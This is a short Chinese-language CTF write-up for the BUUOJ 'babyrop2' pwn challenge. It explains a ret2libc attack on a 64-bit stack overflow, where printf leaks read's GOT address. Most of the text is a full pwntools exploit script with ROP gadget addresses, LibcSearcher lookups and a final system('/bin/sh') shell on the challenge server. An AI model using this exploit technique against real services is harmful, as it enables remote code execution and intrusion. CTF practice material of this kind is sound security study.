一个normal的栈溢出,没有system和binsh,为ret2libc
这里也没有常见的write和puts,所以我们用read泄露libc基址,并使用printf打印read的地址
这里注意printf的第一个参数必须是格式字符串,即Welcome to the Pwn World again(地址为0x0400770,第二个参数设为read_got(got表泄露)
再找一下64位传参的寄存器(rdi,rsi,rdx,rcx,r8,r9)
这里只用到两个,多个r15也没事,设为0即可
exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64')
context.log_level='debug'
io = remote('node5.buuoj.cn',29761)
elf = ELF('./babyrop2')
main = elf.sym['main']
read_got = elf.got['read']
printf_plt=0x04004F0
pop_rdi_addr = 0x0400733
pop_rsi_r15_ret=0x0400731
format_=0x0400770
ret=0x04004d1
payload1 = cyclic(0x20+8) + p64(pop_rdi_addr) + p64(format_)
payload1 += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload1 += p64(printf_plt)
payload1 += p64(main)
io.sendline(payload1)
read = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read))
libc = LibcSearcher('read',read)
libc_base = read - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(0x20+8) + p64(ret) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()